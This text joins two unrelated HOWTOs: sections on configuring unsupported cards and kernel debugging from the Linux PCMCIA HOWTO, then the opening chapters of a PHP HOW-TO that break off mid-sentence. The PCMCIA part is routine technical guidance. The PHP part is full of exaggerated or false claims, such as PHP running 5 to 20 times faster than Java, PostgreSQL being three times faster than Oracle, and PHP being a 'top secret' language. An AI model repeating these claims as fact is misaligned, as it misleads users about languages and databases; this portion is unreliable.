
6. Dealing with unsupported cards

6.1 Configuring unrecognized cards

Assuming that your card is supported by an existing driver, all that needs to be done is to add an entry to /etc/pcmcia/config to tell cardmgr how to identify the card, and which driver(s) need to be linked up to this card. Check the man page for pcmcia for more information about the config file format. If you insert an unknown card, cardmgr will normally record some identification information in the system log that can be used to construct the config entry. This information can also be displayed with the ``cardctl ident'' command.

Here is an example of how cardmgr will report an unsupported card in /usr/adm/messages.

cardmgr[460]: unsupported card in socket 1
cardmgr[460]: product info: "MEGAHERTZ", "XJ2288", "V.34 PCMCIA MODEM"
cardmgr[460]: manfid: 0x0101, 0x1234  function: 2 (serial)

The corresponding entry in /etc/pcmcia/config would be:

card "Megahertz XJ2288 V.34 Fax Modem"
  version "MEGAHERTZ", "XJ2288", "V.34 PCMCIA MODEM"
  bind "serial_cs"

or using the more compact product ID codes:

card "Megahertz XJ2288 V.34 Fax Modem"
  manfid 0x0101, 0x1234
  bind "serial_cs"

You can use ``*'' to match strings that don't need to match exactly, like version numbers. When making new config entries, be careful to copy the strings exactly, preserving case and blank spaces. Also be sure that the config entry has the same number of strings as are reported in the log file.

Beware that you can specify just about any driver for a card, but if you're just shooting in the dark, there is not much reason to expect this to be productive. You may get lucky and find that your card is supported by an existing driver. However, the most likely outcome is that the driver won't work, and may have unfortunate side effects like locking up your system. Unlike most ordinary device drivers, which probe for an appropriate card, the probe for a PCMCIA device is done by cardmgr, and the driver itself may not do much validation before attempting to communicate with the device.

After editing /etc/pcmcia/config, you can signal cardmgr to reload the file with:

kill -HUP `cat /var/run/cardmgr.pid`

If you do set up an entry for a new card, please send me a copy so that I can include it in the standard config file.

6.2 Adding support for an NE2000-compatible ethernet card

Before you begin: this procedure will only work for simple ethernet cards. Multifunction cards (i.e., ethernet/modem combo cards) have an extra layer of complexity regarding how the two functions are integrated, and generally cannot be supported without obtaining some configuration information from the card vendor. Using the following procedure for a multifunction card will not be productive.

First, see if the card is already recognized by cardmgr. Some cards not listed in SUPPORTED.CARDS are actually OEM versions of cards that are supported. If you find a card like this, let me know so I can add it to the list.

If your card is not recognized, follow the instructions in the Configuring unrecognized cards section to create a config entry for your card, and bind the card to the pcnet_cs driver. Restart cardmgr to use the updated config file.

If the pcnet_cs driver says that it is unable to determine your card's hardware ethernet address, then edit your new config entry to bind the card to the memory card driver, memory_cs. Restart cardmgr to use the new updated config file. You will need to know your card's hardware ethernet address. This address is a series of six two-digit hex numbers, often printed on the card itself. If it is not printed on the card, you may be able to use a DOS driver to display the address. In any case, once you know it, run:

dd if=/dev/mem0a count=20 | od -Ax -t x1

and search the output for your address. Only the even bytes are defined, so ignore the odd bytes in the dump. Record the hex offset of the first byte of the address. Now, edit clients/pcnet_cs.c and find the hw_info structure. You'll need to create a new entry for your card. The first field is the memory offset. The next three fields are the first three bytes of the hardware address. The final field contains some flags for specific card features; to start, try setting it to 0.

After editing pcnet_cs.c, compile and install the new module. Edit /etc/pcmcia/config again, and change the card binding from memory_cs to pcnet_cs. Follow the instructions for reloading the config file, and you should be all set. Please send me copies of your new hw_info and config entries.

If you can't find your card's hardware address in the hex dump, as a method of last resort, it is possible to ``hard-wire'' the address when the pcnet_cs module is initialized. Edit /etc/pcmcia/config.opts and add a hw_addr= option, like so:

module "pcnet_cs" opts "hw_addr=0x00,0x80,0xc8,0x01,0x02,0x03"

Substitute your own card's hardware address in the appropriate spot, of course. Beware that if you've gotten this far, it is very unlikely that your card is genuinely NE2000 compatible. In fact, I'm not sure if there are any cards that are not handled by one of the first two methods.

6.3 PCMCIA floppy interface cards

The PCMCIA floppy interface used in the Compaq Aero and a few other laptops is not yet supported by this package. The snag in supporting the Aero floppy is that the Aero seems to use a customized PCMCIA controller to support DMA to the floppy. Without knowing exactly how this is done, there isn't any way to implement support under Linux.

If the floppy adapter card is present when an Aero is booted, the Aero BIOS will configure the card, and Linux will identify it as a normal floppy drive. When the Linux PCMCIA drivers are loaded, they will notice that the card is already configured and attached to a Linux driver, and this socket will be left alone. So, the drive can be used if it is present at boot time, but the card is not hot swappable.


Linux PCMCIA HOWTO: Debugging tips and programming information

 Next Previous Contents

7. Debugging tips and programming information

7.1 Submitting useful bug reports

The best way to submit bug reports is to use the HyperNews message lists on the Linux PCMCIA information site. That way, other people can see current problems (and fixes or workarounds, if available). Here are some things that should be included in all bug reports:

  • Your system brand and model.
  • What PCMCIA card(s) you are using.
  • Your Linux kernel version (i.e., ``uname -rv''), and PCMCIA driver version (i.e., ``cardctl -V'').
  • Any changes you have made to the startup files in /etc/pcmcia, or to the PCMCIA startup script.
  • All PCMCIA-related messages in your system log file. That includes startup messages, and messages generated when your cards are configured.

All the PCMCIA modules and the cardmgr daemon send status messages to the system log. This will usually be something like /var/log/messages or /usr/adm/messages. This file should be the first place to look when tracking down a problem. When submitting a bug report, always include the relevant contents of this file. If you are having trouble finding your system messages, check /etc/syslog.conf to see how different classes of messages are handled.

Before submitting a bug report, please check to make sure that you are using an up-to-date copy of the driver package. While it is somewhat gratifying to read bug reports for things I've already fixed, it isn't a particularly constructive use of my time.

If you do not have web access, bug reports can be sent to me at dahinds@users.sourceforge.net. However, I prefer that bug reports be posted to the PCMCIA web site, so that they can be seen by others.

7.2 Interpreting kernel trap reports

If your problem involves a kernel fault, the register dump from the fault is only useful if you can translate the fault address, EIP, to something meaningful. Recent versions of klogd attempt to translate fault addresses based on the current kernel symbol map, but this may not work if the fault is in a module, or if the problem is severe enough that klogd cannot finish writing the fault information to the system log.

If a fault is in the main kernel, the fault address can be looked up in the System.map file. This may be installed in /System.map or /boot/System.map. If a fault is in a module, the nm command gives the same information, however, the fault address has to be adjusted based on the module's load address. Let's say that you have the following kernel fault:

Unable to handle kernel NULL pointer dereference
current->tss.cr3 = 014c9000, %cr3 = 014c9000
*pde = 00000000
Oops: 0002
CPU:    0
EIP:    0010:[<c2026081>]
EFLAGS: 00010282

The fault address is 0xc2026081. Looking at System.map, we see that this is past the end of the kernel, i.e., is in a kernel module. To determine which module, check the output of ``ksyms -m | sort'':

Address   Symbol                            Defined by
c200d000  (35k)                             [pcmcia_core]
c200d10c  register_ss_entry                 [pcmcia_core]
c200d230  unregister_ss_entry               [pcmcia_core]
          ...
c2026000  (9k)                              [3c574_cs]
c202a000  (4k)                              [serial_cs]

So, 0xc2026081 is in the 3c574_cs module, and is at an offset of 0x0081 from the start of the module. We cannot look up this offset in 3c574_cs.o yet: when the kernel loads a module, it inserts a header at the module load address, so the real start of the module is offset from the address shown in ksyms. The size of the header varies with kernel version: to find out the size for your kernel, check a module that exports symbols (like pcmcia_core above), and compare a symbol address with nm output for that symbol. In this example, register_ss_entry is loaded at an offset of 0xc200d10c - 0xc200d000 = 0x010c, while ``nm pcmcia_core.o'' shows the offset as 0x00c0, so the header size is 0x010c - 0x00c0 = 0x004c bytes.

Back to 3c574_cs, our fault offset is 0x0081, and subtracting the 0x004c header, the real module offset is 0x0035. Now looking at ``nm 3c574_cs.o | sort'', we see:

0000002c d if_names
0000002c t tc574_attach
00000040 d mii_preamble_required
00000041 d dev_info

So, the fault is located in tc574_attach().

In this example, the fault did not cause a total system lockup, so ksyms could be executed after the fault happened. In other cases, you may have to infer the module load addresses indirectly. The same sequence of events will normally load modules in the same order and at the same addresses. If a fault happens when a certain card is inserted, get the ksyms output before inserting the card, or with a different card inserted. You can also manually load the card's driver modules with insmod and run ksyms before inserting the card.

For more background, see ``man insmod'', ``man ksyms'', and ``man klogd''. In the kernel source tree, Documentation/oops-tracing.txt is also relevant. Here are a few more kernel debugging hints:

  • Depending on the fault, it may also be useful to translate addresses in the ``Call Trace'', using the same procedure as for the main fault address.
  • To diagnose a silent lock-up, try to provoke the problem with X disabled, since kernel messages sent to the text console will not be visible under X.
  • If you kill klogd, most kernel messages will be echoed directly on the text console, which may be helpful if the problem prevents klogd from writing to the system log.
  • To cause all kernel messages to be sent to the console, for 2.1 kernels, if /proc/sys/kernel/printk exists, do:
    echo 8 > /proc/sys/kernel/printk
  • The key combination <RightAlt><ScrLk> prints a register dump on the text console. This may work even if the system is otherwise completely unresponsive, and the EIP address can be interpreted as for a kernel fault.
  • For 2.1 kernels configured with CONFIG_MAGIC_SYSRQ enabled, various emergency functions are available via special <Alt><SysRq> key combinations, documented in Documentation/sysrq.txt in the kernel source tree.

7.3 Low level PCMCIA debugging aids

The PCMCIA modules contain a lot of conditionally-compiled debugging code. Most of this code is under control of the PCMCIA_DEBUG preprocessor define. If this is undefined, debugging code will not be compiled. If set to 0, the code is compiled but inactive. Larger numbers specify increasing levels of verbosity. Each module built with PCMCIA_DEBUG defined will have an integer parameter, pc_debug, that controls the verbosity of its output. This can be adjusted when the module is loaded, so output can be controlled on a per-module basis without recompiling.

Your default configuration for syslogd may discard kernel debugging messages. To ensure that they are recorded, edit /etc/syslog.conf to ensure that ``kern.debug'' messages are recorded somewhere. See ``man syslog.conf'' for details.

There are a few register-level debugging tools in the debug_tools/ subdirectory of the PCMCIA distribution. The dump_tcic and dump_i365 utilities generate register dumps for ISA-to-PCMCIA controllers. In 3.1.15 and later releases, dump_i365 is replaced by dump_exca, which is similar but also works for PCI-to-CardBus bridges. Also new in 3.1.15 for CardBus bridges is the dump_cardbus tool, which interprets the CardBus-specific registers. These are all most useful if you have access to a datasheet for the corresponding controller chip. The dump_cis utility (dump_tuples in pre-3.0.2 distributions) lists the contents of a card's CIS (Card Information Structure), and decodes most of the important bits. And the dump_cisreg utility displays a card's local configuration registers.

The memory_cs memory card driver is also sometimes useful for debugging problems with 16-bit PC Cards. It can be bound to any card, and does not interfere with other drivers. It can be used to directly access any card's attribute memory or common memory. Similarly for CardBus cards, the memory_cb driver can be bound to any 32-bit card, to give direct access to that card's address spaces. See the man pages for more information.

7.4 /proc/bus/pccard

Starting with 2.1.103 kernels, the PCMCIA package will create a tree of status information under /proc/bus/pccard. Much of the information can only be interpreted using the data sheets for the PCMCIA host controller. Its contents may depend on how the drivers were configured, but may include all or some of the following:

/proc/bus/pccard/{irq,ioport,memory}

If present, these files contain resource allocation information to supplement the normal kernel resource tables. Recent versions of the PCMCIA system may obtain additional resource information from the Plug and Play BIOS if configured to do so.

/proc/bus/pccard/drivers

In recent releases, this lists all currently loaded PCMCIA client drivers. Unlike /proc/modules, it also lists drivers that may be statically linked into the kernel.

/proc/bus/pccard/*/info

For each socket, describes that socket's host controller and its capabilities.

/proc/bus/pccard/*/exca

This contains a dump of a controller's ``ExCA'' Intel i82365sl-compatible register set.

/proc/bus/pccard/*/{pci,cardbus}

For CardBus bridges, a dump of the bridge's PCI configuration space, and a dump of the bridge's CardBus configuration registers.

7.5 Writing Card Services drivers for new cards

The Linux PCMCIA Programmer's Guide is the best documentation for the client driver interface. The latest version is always available from projects.sourceforge.net in /pub/pcmcia-cs/doc, or on the web at http://pcmcia-cs.sourceforge.net.

For devices that are close relatives of normal ISA devices, you will probably be able to use parts of existing Linux drivers. In some cases, the biggest stumbling block will be modifying an existing driver so that it can handle adding and removing devices after boot time. Of the current drivers, the memory card driver is the only ``self-contained'' driver that does not depend on other parts of the Linux kernel to do most of the dirty work.

In many cases, the largest barrier to supporting a new card type is obtaining technical information from the manufacturer. It may be difficult to figure out who to ask, or to explain exactly what information is needed. However, with a few exceptions, it is very difficult if not impossible to implement a driver for a card without technical information from the manufacturer.

I have written a dummy driver with lots of comments that explains a lot of how a driver communicates with Card Services; you will find this in the PCMCIA source distribution in clients/dummy_cs.c.

7.6 Guidelines for PCMCIA client driver authors

I have decided that it is not really feasible for me to distribute all PCMCIA client drivers as part of the PCMCIA package. Each new driver makes the main package incrementally harder to maintain, and including a driver inevitably transfers some of the maintenance work from the driver author to me. Instead, I will decide on a case by case basis whether or not to include contributed drivers, based on user demand as well as maintainability. For drivers not included in the core package, I suggest that driver authors adopt the following scheme for packaging their drivers for distribution.

Driver files should be arranged in the same directory scheme used in the PCMCIA source distribution, so that the driver can be unpacked on top of a complete PCMCIA source tree. A driver should include source files (in ./modules/), a man page (in ./man/), and configuration files (in ./etc/). The top level directory should also include a README file.

The top-level directory should include a makefile, set up so that ``make -f ... all'' and ``make -f ... install'' compile the driver and install all appropriate files. If this makefile is given an extension of .mk, then it will automatically be invoked by the top-level Makefile for the all and install targets. Here is an example of how such a makefile could be constructed:

# Sample Makefile for contributed client driver
FILES = sample_cs.mk README.sample_cs \
        modules/sample_cs.c modules/sample_cs.h \
        etc/sample.conf etc/sample etc/sample.opts \
        man/sample_cs.4
all:
        $(MAKE) -C modules MODULES=sample_cs.o
install:
        $(MAKE) -C modules install-modules MODULES=sample_cs.o
        $(MAKE) -C etc install-clients CLIENTS=sample
        $(MAKE) -C man install-man4 MAN4=sample_cs.4
dist:
        tar czvf sample_cs.tar.gz $(FILES)

This makefile uses install targets defined in 2.9.10 and later versions of the PCMCIA package. This makefile also includes a ``dist'' target for the convenience of the driver author. You would probably want to add a version number to the final package filename (for example, sample_cs-1.5.tar.gz). A complete distribution could look like:

sample_cs.mk
README.sample_cs
modules/sample_cs.c
modules/sample_cs.h
etc/sample.conf
etc/sample
etc/sample.opts
man/sample_cs.4

With this arrangement, when the contributed driver is unpacked, it becomes essentially part of the PCMCIA source tree. It can make use of the PCMCIA header files, as well as the machinery for checking the user's system configuration, and automatic dependency checking, just like a ``normal'' client driver.

In this example, etc/sample and etc/sample.opts would be the new driver's configuration scripts (if needed), and etc/sample.conf would contain any additions to the PCMCIA card configuration file. Starting with the 3.1.6 release, cardmgr will automatically process any *.conf files installed in /etc/pcmcia, so installation of contributed drivers should no longer require hand editing configuration files.

I will accept client drivers prepared according to this specification and place them in the /pub/pcmcia-cs/contrib directory on projects.sourceforge.net. The README in this directory will describe how to unpack a contributed driver.

The client driver interface has not changed much over time, and has almost always preserved backwards compatibility. A client driver will not normally need to be updated for minor revisions in the main package. I will try to notify authors of contributed drivers of changes that require updates to their drivers.

7.7 Guidelines for Linux distribution maintainers

If your distribution has system configuration tools that you would like to be PCMCIA-aware, please use the *.opts files in /etc/pcmcia for your ``hooks.'' These files will not be modified if a user compiles and installs a new release of the PCMCIA package. If you modify the main configuration scripts, then a fresh install will silently overwrite your custom scripts and break the connection with your configuration tools. Contact me if you are not sure how to write an appropriate option script, or if you need additional capabilities.

It is helpful for users (and for me) if you can document how your distribution deviates from the PCMCIA package as described in this document. In particular, please document changes to the startup script and configuration scripts. If you send me the appropriate information, I will include it in the Notes about specific Linux distributions.

When building PCMCIA for distribution, consider including contributed drivers that are not part of the main PCMCIA package. For reasons of maintainability, I am trying to limit the core package size, by only adding new drivers if I think they are of particularly broad interest. Other drivers will be distributed separately, as described in the previous section. The split between integral and separate drivers is somewhat arbitrary and partly historical, and should not imply a difference in quality.


PHP HOW-TO

Al Dev (Alavoor Vasudevan) alavoor[AT]yahoo.com

v26.6, 30 April 2002

This document tells you howto develop PHP programs and also to migrate all the Windows 95 GUI applications to powerful PHP + HTML + DHTML + XML + Java applets + Javascript. The information in this document applies to all the operating sytems where PHP is ported that is - Linux, Windows 95/98/NT/ME/2000/XP, BeOS, Apple Macintosh (is the son of FreeBSD Unix??), OS/2, all flavors of Unix like Solaris, HPUX, AIX, SCO, Unixware, Sinix, BSD, SunOS, etc.. and mainframe operating systems and on all operating systems where "C" compiler is available.

1. Introduction

2. PHP runs on Microsoft Windows!!

3. PHP Download

  • 3.1 PHP Installation on Microsoft Windows 95/98/NT/2000
  • 3.2 Apache Webserver Quick-Install (10 seconds) on Microsoft Windows 95/98/NT/2000
  • 3.3 SQL server for Microsoft
  • 3.4 PHP Installation on UNIX'es and others
  • 3.5 PHP Installation on Apple Macintosh

4. Quick Start steps

5. Major Features of PHP

  • 5.1 Advantages of PHP over Java

6. Brief History of PHP

7. A Simple Example

8. SOAPX4 and PhpXMLP

  • 8.1 XML/XSLT Publishing Engine

9. PHP Libraries

  • 9.1 Classes and PEAR
  • 9.2 Other PHP Utilities

10. PHPGem package

11. PHP Application Servers

  • 11.1 Build PHP based corporate Intranet and Internet
  • 11.2 Popular PHP Applications
  • 11.3 PHP Web Application Servers
  • 11.4 PHP Template Engines
  • 11.5 PHP based Web-Portal systems

12. Object Oriented Features - public, private, protected

13. HTML Editor

14. IDE tools for PHP

  • 14.1 PHP IDE
  • 14.2 PHP IDE for MS Windows only
  • 14.3 PHP IDE for both MS Windows and Linux
  • 14.4 PHP IDE for Linux only
  • 14.5 PHP Utilities
  • 14.6 Convert Microsoft ASP scripts to PHP - ASP2PHP

15. ctags for PHP

16. PHP documenter (like Javadoc)

17. Debugging PHP

  • 17.1 Debug with FILE and LINE

18. General purpose programming with PHP

  • 18.1 Standalone MS Windows GUI applications using PHP

19. Performance benchmarking - PHP, ASP, JSP, Coldfusion

20. Limitations of PHP

21. PHP Tutorial

  • 21.1 Primer on PHP Sessions
  • 21.2 Session Management in PHP4
  • 21.3 Session Propagation
  • 21.4 User Management and Privileges
  • 21.5 Step1: Creating the Users Table

22. Related URLs

23. Other Formats of this Document

  • 23.1 Acrobat PDF format
  • 23.2 Convert Linuxdoc to Docbook format
  • 23.3 Convert to MS WinHelp format
  • 23.4 Reading various formats

24. Copyright

25. Appendix A PHP examples

  • 25.1 PostgreSQL large object Example
  • 25.2 User authentication Example
  • 25.3 Network admin Example

26. Appendix B Midgard Installation

  • 26.1 Testing Midgard PHP Server
  • 26.2 Security OpenSSL

27. Appendix C - Debug tool phpcodesite


PHP HOW-TO: Introduction

 Next Previous Contents

1. Introduction

(The latest version of this document is at http://www.milkywaygalaxy.freeservers.com. You may want to check there for changes).

Definition: PHP is a simple, object-oriented, interpreted, robust, secure, very high-performance, architecture neutral, portable, dynamic scripting language. PHP has "class" keyword similar to Java's "class" keyword. And PHP is designed such that it is 5 times faster than Java, since there is no virtual machine. PHP is very fast becoming a standard, general purpose, object oriented scripting language. PHP is not only meant for web applications but also can be used for developing general applications.

PHP is a very powerful scripting language. PHP will get rid of PERL/Python and will replace PERL/Python. PHP is the next-generation PERL/Python scripting. PHP can do whatever PERL or Python does and actually does much more, much better and much, much cleaner!! PHP is "mucho" clean.

PHP stands for 'Hypertext Pre-Processor' and is a server side HTML scripting/programming language. PHP is C-like Web scripting language runs on Apache, Netscape/iPlanet, and Microsoft IIS Web servers. PHP is a tool that lets you create dynamic web pages. PHP-enabled web pages are treated just like regular HTML pages and you can create and edit them the same way you normally create regular HTML pages. PHP lets you write simple scripts right in your HTML files much like JavaScript does, except, unlike JavaScript PHP is not browser-dependant. JavaScript is a client-side html-embedded language while PHP is a server-side language. PHP is similar in concept to Netscape's LiveWire Pro product and Microsoft's ASP and Sun Microsystem's JSP.

PHP is not only used for creating web applications, but also for creating general standalone applications.

PHP's strength are :

  • PHP is the most superior technology. Other technologies PERL, Python, Tcl, VB script, ASP are older and inferior technologies. Even Java/JSP is inferior to PHP.
  • Open source
  • Easily learned syntax
  • Broad database connectivity
  • Massive library of contributed extensions
  • General purpose scripting language much superior to PERL, VB script, ASP, JSP.

Why PHP ? PHP is the best because of the following reasons:

  • PERL is "YUCKY" (distasteful) because it is hard to read and maintain the programs. Not object oriented. Forget PERL and goto PHP. PERL programmers will get rid of PERL because they like PHP! PHP is actually a "modern PERL", but with a different name called "PHP".
  • Java is object-oriented but is very SLOW. Java programs run very slow. The only complaint against Java is "Java is God-damn-slow". Also Java is immensely complex and sophosticated technology (has many layers like JVM, JIT and others). And complexity and sophostication leads to problems. If there is Linux then why do you need Java in servers ?
  • Python is "good" but there are no C like brackets/braces which are useful for code navigation in vi editor. It is like your hand is broken if you cannot navigate rapidly the source code using vi/emacs editor's seek braces/brackets commands. PHP is technologically more advanced than Python.
  • PHP is the best because it is object oriented and has the best features of C/C++/Java/PERL. It can replace PERL, Python, Java, C, C++, awk, Unix shell scripting, MS Visual Basic and others!! PHP runs direct and PHP is written in C.
  • Each and every computer programmer knows why PHP is the best. Ask your nearby computer programmer.
  • Only PHP will prevail in the 21st and 22nd century and beyond!
  • Why do think every PERL, Python and Java programmer is flocking to PHP ?? There is a very strong reason.
  • Every person in the world wants PHP.
  • The world is dominated by PHP. There is PHP everywhere and anywhere... PHP, PHP, PHP everywhere..

PHP was kept the "top secret and strictly confidential" computer language by many companies in the world, but now had become the most well-known and most widely used object oriented scripting language for web, internet, e-commerce, general purpose and business-to-business projects. Even today many competing companies keep PHP language as a highly confidential matter not disclosing to outsiders (competitors).

PHP will storm the entire world and will take the IT industry by surprise!! The power of PHP is that it is cross-platform and runs everywhere!! It runs on Linux, Windows 95/98/NT/2000/XP, Solaris, HPUX and all flavors of UNIX. PHP is write once and deploy anywhere and everywhere. It runs on many web-servers like Apache, Microsoft IIS, etc..

PHP runs 5 to 20 times faster than Java!! In actual benchmarks, PHP was about 3.7 times faster than JSP (see benchmarks ). PHP is extremely easy to use and you can develop very complex web/e-commerce/general-standalone applications very rapidly in a very short period of time. (In future PHP language will imitate most features of Java language and Java programmers will love PHP. And PHP will have java keywords like class, extends, interface, implements, public, protected, private etc..).

It has object oriented features and takes the best features from Java, C++, PERL and "C" languages. PHP language is a marriage of best features from Java, C++, PERL and C.

PHP is the real gem of all the scripting/programming languges and will soon become the "MECCA" for programmers world-wide!! PHP has a huge user base and a large developer base as it runs on both Window95/NT/2000/XP and all flavors of UNIX'es.

A big surprise is waiting for us - Most probably PHP will be the computer language/scripting language of the 21st century!!

PHP can be compiled and optimized to make it run even faster by using the Zend Optimizer. Zend optimizer is integrated with PHP in PHP version 4.0. First, you will write your application in PHP scripting language during development, testing and debugging. Once the project is ready for deployment you will use the Zend compiler to compile the PHP to create executable which will run very fast.

You would normally use a combination of PHP (70% code) + HTML/DHTML/XML (25% code) + Javascript (5% code client side validations) for your e-commerce projects.


PHP HOW-TO: PHP runs on Microsoft Windows!!

 Next Previous Contents

2. PHP runs on Microsoft Windows!!

PHP initially started on UNIX platform, but it is very portable and runs on MS Windows and MS IIS webserver. Today PHP has a large user base on MS Windows 2000/NT/95/98, You will find a huge collection of tools for PHP under MS Windows platform.

Many PHP programmers develop code on MS Windows and deploy on large linux servers like IBM mainframe running linux, Compaq DEC Alpha and Sun sparc.

A great advantage is that since PHP also runs on UNIX/Linux, developers on UNIX platform "cash on" the user base of PHP under MS windows as the PHP code developed under MS Windows can be used on UNIX/linux without any code change!!

PHP itself is written in 100% "C" langauge, and hence it runs on a very wide variety of platforms like BeOS, UNIX, MS Windows, Apple Macintosh, IBM OS/2 and on many more operating systems.

PHP is very fast and is much faster than Java. For web development, forget Java/JSP, it is PHP, PHP and PHP everywhere!! PHP is also becoming a general purpose object oriented scripting language


PHP HOW-TO: PHP Download

 Next Previous Contents

3. PHP Download

  • PHP main site http://www.php.net
  • PHP resources http://ils.unc.edu/web-db/php/links.html
  • PHP Code Exchange - http://px.sklar.com
  • Vex Net http://www.vex.net/php

Mirror sites are in many countries like www.COUNTRYCODE.php.net, where COUNTRYCODE is like us, fe, sk etc.

  • http://www.fe.de.php.net
  • http://www.sk.php.net
  • http://php.iquest.net/
  • Questions e-mail to : rasmus@lerdorf.on.ca

3.1 PHP Installation on Microsoft Windows 95/98/NT/2000

PHP is IMMENSELY POPULAR on Microsoft Windows platform and is surprisingly more popular than Microsoft's own ASP web scripting language!! A major reason for popularity is that PHP is a object oriented scripting language whereas ASP is not. PHP has a large collection of re-usable classes (objects). PHP runs lot faster than ASP on MS Windows and has more features and functionalities than Microsoft ASP. PHP is much more robust, reliable and powerful than ASP. And the user base of PHP is extremely large because PHP runs on MS Windows, Linux, Mac OS and all UNIX'es. Greatest advantage of PHP is that you can develop on MS Windows and deploy on Linux or UNIX and vice versa!!

There are more PHP users under MS Windows98/NT/2000 than on any other operating system!! Because there is so much demand for PHP on MS Windows 98/NT/2000, a ready to install executable is made and you simply double-click on the exe file to automatically install PHP in just 2 minutes. Download the PHP executable install file from

  • MS Windows exe installer for PHP http://php.weblogs.com/easywindows
  • Lots of info on PHP on MS Windows platform http://php.weblogs.com
  • Install and config of PHP on MS Windows http://www.php.net/manual/install-windows95-nt.php
  • PHP Triad installs a complete PHP server environment on Windows platforms http://www.phpgeek.com

3.2 Apache Webserver Quick-Install (10 seconds) on Microsoft Windows 95/98/NT/2000

You need a web-server to run the PHP on MS Windows. You can use MS IIS web server or you can use free Apache web-server for MS Windows 95/98/NT/2000. To save you lot of time here is the ready-to-install setup.exe file for apache for Windows platform:

PHPTriad which is Apache+PHP+MySQL single package is at http://www.phpgeek.com/phptriad.php and at mirrorsite. I very strongly recommend PHPTriad as it is immensely popular among MS Windows users (millions of downloads).

Apache binaries - http://httpd.apache.org/dist/httpd/binaries/win32

3.3 SQL server for Microsoft

SQL server can be on a seperate box which need not be running MS Windows. You also need a SQL server for doing web development. I recommend that you install Redhat Linux on a very old PC like (Pentium or 486 box) and install the PostgreSQL RPMs on it. You do not need any windows graphics for a database server and at console mode startup the PostgreSQL server. PostgreSQL is about 3 times faster than Oracle or MS SQL server.

The PostgreSQL support code for PHP was written by Adam Sussman asussman@vidya.com

You can also order ready-to-go cheap Linux boxes from -

  • Egghead Egghead, click on Auctions and Linux boxes, you get best deals in live Auctions.
  • Goto LinuxHardware and click ComputerSystems, LinuxOnline, Linux hardware Crynwr, Linux HarwareNet
  • US Land5, US QLiTech, US CompaqLinux, US VAlinux, US StoreAnywhere
  • In Europe : UK GBdirect, UK MultiT, Hungary Leonardo, Belgium Mind, Germany Spier
  • DEC alpha linux DECalpha and CompaqAlphaLinux

You can also get PostgreSQL for Windows NT/2000 from http://www.askesis.nl.

See also the PostgreSQL howto at pgsql-howto

3.4 PHP Installation on UNIX'es and others

See the installation guide and instructions at PHP main site http://www.php.net or INSTALL file in the downloaded package itself.

3.5 PHP Installation on Apple Macintosh

Apple Macintosh is Unix like operating system. And actually it's father is FreeBSD. It picked up many titbits from other Unices and is quite powerful OS. See the Unix history at Unix Family Tree and click on the item 12 to see the Apple Mac position at Apple Mac tree.

The installation and use of PHP on Apple Mac will be very similar to that of on Unix OS.


PHP HOW-TO: Quick Start steps

 Next Previous Contents

4. Quick Start steps

To implement a project in object oriented PHP do -

  • First you need connection to database sql servers - use one of these:
    • ADODB (Active Data Objects Data Base) http://php.weblogs.com/ADODB
    • Metabase (Database independent access and management) http://phpclasses.upperdesign.com/browse.html/package/20

  • Second you need generic PHP classes to create forms, tables and other HTML objects. Get these from PHP classes at http://phpclasses.upperdesign.com. See also the Top downloaded classes from Top PHP classes And visit http://www.phpclasses.com. And see Form classes, template classes at the site corporate Intranet/Internet

  • Third, design and create your own PHP classes by inheriting from the generic PHP classes or http://www.phpclasses.com.

  • Fourth, use the template classes to seperate the presentation from business logic, see http://www.phpclasses.com.

  • Fifth, use IDE tools from PHP IDE

  • Most of your PHP code should be in classes for easy code maintainence and re-usability.

See also Aldev's PHP classes


PHP HOW-TO: Major Features of PHP

 Next Previous Contents

5. Major Features of PHP

  • Standard CGI, FastCGI and Apache module support - As a standard CGI program, PHP can be installed on any UNIX machine running any UNIX web server. With support for the new FastCGI standard, PHP can take advantage of the speed improvements gained through this mechanism. As an Apache module, PHP becomes an extremely powerful and lightning fast alternative to CGI programmimg.
  • Access Logging - With the access logging capabilities of PHP, users can maintain their own hit counting and logging. It does not use the system's central access log files in any way, and it provides real-time access monitoring. The Log Viewer Script provides a quick summary of the accesses to a set of pages owned by an individual user. In addition to that, the package can be configured to generate a footer on every page which shows access information. See the bottom of this page for an example of this.
  • Access Control - A built-in web-based configuration screen handles access control configuration. It is possible to create rules for all or some web pages owned by a certain person which place various restrictions on who can view these pages and how they will be viewed. Pages can be password protected, completely restricted, logging disabled and more based on the client's domain, browser, e-mail address or even the referring document.
  • PostgresSQL Support - Postgres is an advanced free RDBMS. PHP supports embedding PostgreSQL "SQL queries" directly in .html files.
  • RFC-1867 File Upload Support - File Upload is a new feature in Netscape 2.0. It lets users upload files to a web server. PHP provides the actual Mime decoding to make this work and also provides the additional framework to do something useful with the uploaded file once it has been received.
  • HTTP-based authentication control - PHP can be used to create customized HTTP-based authentication mechanisms for the Apache web server.
  • Variables, Arrays, Associative Arrays - PHP supports typed variables, arrays and even Perl-like associative arrays. These can all be passed from one web page to another using either GET or POST method forms.
  • Conditionals, While Loops - PHP supports a full-featured C-like scripting language. You can have if/then/elseif/else/endif conditions as well as while loops and switch/case statements to guide the logical flow of how the html page should be displayed.
  • Extended Regular Expressions - Regular expressions are heavily used for pattern matching, pattern substitutions and general string manipulation. PHP supports all common regular expression operations.
  • Raw HTTP Header Control - The ability to have web pages send customized raw HTTP headers based on some condition is essential for high-level web site design. A frequent use is to send a Location: URL header to redirect the calling client to some other URL. It can also be used to turn off cacheing or manipulate the last update header of pages.
  • On-the-fly GIF image creation - PHP has support for Thomas Boutell's GD image library which makes it possible to generate GIF images on the fly.
  • ISP "Safe Mode" support - PHP supports an unique "Safe Mode" which makes it safe to have multiple users run PHP scripts on the same server.
  • Many more new features are being added in newer releases of PHP. Visit the main web site at http://www.php.net
  • It's Free! - One final essential feature. The package is completely free. It is licensed under the GNU/GPL which allows you to use the software for any purpose, commercial or otherwise.

5.1 Advantages of PHP over Java

PHP is an established server-side scripting language for creating dynamic Web pages. As a language that has been designed expressly for the Web, it brings many features that commercial entities are looking for:

  • Exceptionally short learning curve
  • Quick development time
  • Very high performance

This is essential for companies who are faced with scarce skilled programming resources and ever-tighter time to market deadlines. In addition, PHP supports all major platforms (UNIX, Windows and even mainframes), and features native support for most popular databases. All these factors make it a very good choice for Web development: such shops working with PHP have reported being able to hire non-programmers and have them producing usable code within days. Programmers familiar with languages such as C, C++ or Java frequently find that they can begin programming in PHP within a few hours.

The fact that PHP was designed specifically for Web development gives it an edge as a development tool, as Intranet Design Magazine explains:

